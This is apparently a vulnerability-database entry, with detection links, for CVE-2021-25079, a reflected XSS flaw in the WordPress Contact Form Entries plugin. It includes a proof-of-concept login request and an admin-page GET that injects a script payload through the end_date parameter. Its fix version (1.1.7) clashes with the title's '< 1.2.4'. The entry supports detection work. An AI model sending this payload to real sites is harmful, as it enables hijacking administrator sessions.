🔙 목록으로 돌아가기

CVE-2021-25079: Contact Form Entries < 1.2.4 - Cross-Site Scripting

TitleContact Form Entries < 1.2.4 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in multiple parameters, potentially stealing administrator session cookies or accessing contact form submission data.
RemediationFixed in version 1.1.7
CVSS Score6.1
EPSS Score0.03135
CVE IDCVE-2021-25079
CWE IDCWE-79
Tags cve2021 cve wordpress wp-plugin wpscan authenticated contact-form-entries xss crmperks vuln

🔍 Vulnerability Description

The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=P7DsI4&pwd=jPcLHx&wp-submit=Log+In
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25079.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25079.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A